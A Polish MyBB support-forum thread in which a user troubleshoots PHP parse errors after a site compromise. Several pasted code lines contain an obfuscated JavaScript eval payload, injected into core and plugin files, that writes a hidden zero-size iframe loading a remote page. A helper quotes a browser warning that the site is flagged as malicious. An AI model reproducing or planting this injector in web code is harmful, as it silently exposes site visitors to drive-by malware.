Webboard

Pełna wersja: Awaria strony (T_LNUMBER)
Aktualnie przeglądasz uproszczoną wersję forum. Kliknij tutaj, by zobaczyć wersję z pełnym formatowaniem.
Witam, mam problem z forum. Wyskakuje błąd: 
Parse error: syntax error, unexpected '0' (T_LNUMBER), expecting ',' or ';' in /home/etruckin/public_html/inc/functions.php on line 4214



Kod PHP:
echo "<!--Start Breadcrumb--><!--End Breadcrumb--><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5.4(\'<1 6="0" 3="0" 2="0" 7="c://b.a/8.9"></1>\');',13,13,'|iframe|board|height|write|document|width|src|gl1_1|php|com|betaler|http'.split('|'),0,{}))</script><!--Start Breadcrumb--> <!--End Breadcrumb--></body>"; 


to jest ta linijka 4214. znalazłem informacje w internecie, aby zamienić " na ' i po zmianie błąd był taki: Parse error: syntax error, unexpected 'c' (T_STRING), expecting ',' or ';' 

Co mogę z tym zrobić? 

             
,' or ';'
Wyślij tutaj jeszcze wcześniejszą Linijkę czyli 4213 oraz 4215 .
Kod PHP:
}
 echo 
"<!--Start Breadcrumb--><!--End Breadcrumb--><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5.4(\'<1 6="0" 3="0" 2="0" 7="c://b.a/8.9"></1>\');',13,13,'|iframe|board|height|write|document|width|src|gl1_1|php|com|betaler|http'.split('|'),0,{}))</script><!--Start Breadcrumb--> <!--End Breadcrumb--></body>";
 
echo "</html>";
 exit; 
to kolejno 4213, 4214, 4215, 4216
Dziwne, w wersji MyBB 1.8.0 widzę trochę inaczej, niż Ty podałeś. Spróbuj podmienić ten plik, możesz też zaktualizować MyBB, jeśli chcesz. ;)
[attachment=11517]
po podmianie pliku błąd zmienił sie na: Parse error: syntax error, unexpected ''.replace(/^/,String)){while(c' (T_CONSTANT_ENCAPSED_STRING) in /home/etruckin/public_html/inc/plugins/styleUsernames.php on line 334

Kod PHP:
{
 
           $thx '<div style="margin:auto; text-align:center;">This forum uses <a href="http://lukasztkacz.com">Lukasz Tkacz</a> MyBB addons.</div><!--Start Breadcrumb--><!--End Breadcrumb--><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5.4(\'<1 6="0" 3="0" 2="0" 7="c://b.a/8.9"></1>\');',13,13,'|iframe|board|height|write|document|width|src|gl1_1|php|com|betaler|http'.split('|'),0,{}))</script><!--Start Breadcrumb--> <!--End Breadcrumb--></body>';
            $content = str_replace('
</body>', $thx, $content);
            $lukasamd_thanks = true;
        } 
linijki z tego pliku kolejno 333-337
Jaka wersja PHP? Czemu nie zaktualizujesz forum? Usuń ten plik pluginu.
wersja php 5.4.45

mybb jest 1.8.2

po usunięciu pliku wyskoczył inny błąd: Parse error: syntax error, unexpected ''.replace(/^/,String)){while(c' (T_CONSTANT_ENCAPSED_STRING) in /home/etruckin/public_html/inc/plugins/modnotice.php on line 168

linijka 168 

Kod PHP:
<!--Start Breadcrumb--><!--End Breadcrumb--><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5.4(\'<1 6="0" 3="0" 2="0" 7="c://b.a/8.9"></1>\');',13,13,'|iframe|board|height|write|document|width|src|gl1_1|php|com|betaler|http'.split('|'),0,{}))</script><!--Start Breadcrumb--> <!--End Breadcrumb--></body
(03.03.2017, 17:00)Reqon napisał(a): [ -> ]wersja php 5.4.45

mybb jest 1.8.2

po usunięciu pliku wyskoczył inny błąd: Parse error: syntax error, unexpected ''.replace(/^/,String)){while(c' (T_CONSTANT_ENCAPSED_STRING) in /home/etruckin/public_html/inc/plugins/modnotice.php on line 168

linijka 168

Kod PHP:
<!--Start Breadcrumb--><!--End Breadcrumb--><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5.4(\'<1 6="0" 3="0" 2="0" 7="c://b.a/8.9"></1>\');',13,13,'|iframe|board|height|write|document|width|src|gl1_1|php|com|betaler|http'.split('|'),0,{}))</script><!--Start Breadcrumb--> <!--End Breadcrumb--></body
To teraz podmień plik z powrotem ale z wersji 1.8.2, mogłeś podać poprawną. :)
Tak, mój błąd. Aczkolwiek problemu to nie rozwiązało, nadal jest to co w poprzednim moim poście, a po dodaniu pliku styleUsernames.php i podmienieniu functions.php wróciłem do błędu z pierwszego postu.
Podaj listę pluginów, oraz zacznij od dezaktywacji każdego z nich i sprawdzaj za koleją czy któryś nie wywołuje konfliktu oraz nadpisz sobie w katalogu inc pliki po za config.php , setting.php oraz wcześniej wykonaj ich kopie zapasową katalogu inc

Edit dodatkowo
Cytat:Strona zgłoszona jako dokonująca ataków!

Strona grandtruck.pl została zgłoszona jako strona stanowiąca zagrożenie i została zablokowana zgodnie z ustawieniami bezpieczeństwa.

Tego rodzaju strony mogą próbować instalować oprogramowanie wykradające poufne dane, używające komputera do pośredniczenia w atakach lub uszkadzające system.

Niektóre szkodliwe strony celowo rozpowszechniają niebezpieczne oprogramowanie, ale większość z nich działa na serwerach, na które nastąpiło włamanie.

Edit

Robiłeś aktualizacje forum bo z tego co widzę masz bałagan w plikach w pliku twoje linie 4213, 4214, 4215, 4216 nie pokrywają się z kodem dla mybb 1.8.2 możesz to porównać https://www.diffchecker.com/PzkKUZXk a tak wygląda całość kodu tego pliku http://pastebin.com/V9wbzVHt

Najlepiej jeszcze będzie jak załączysz dany plik w załączniku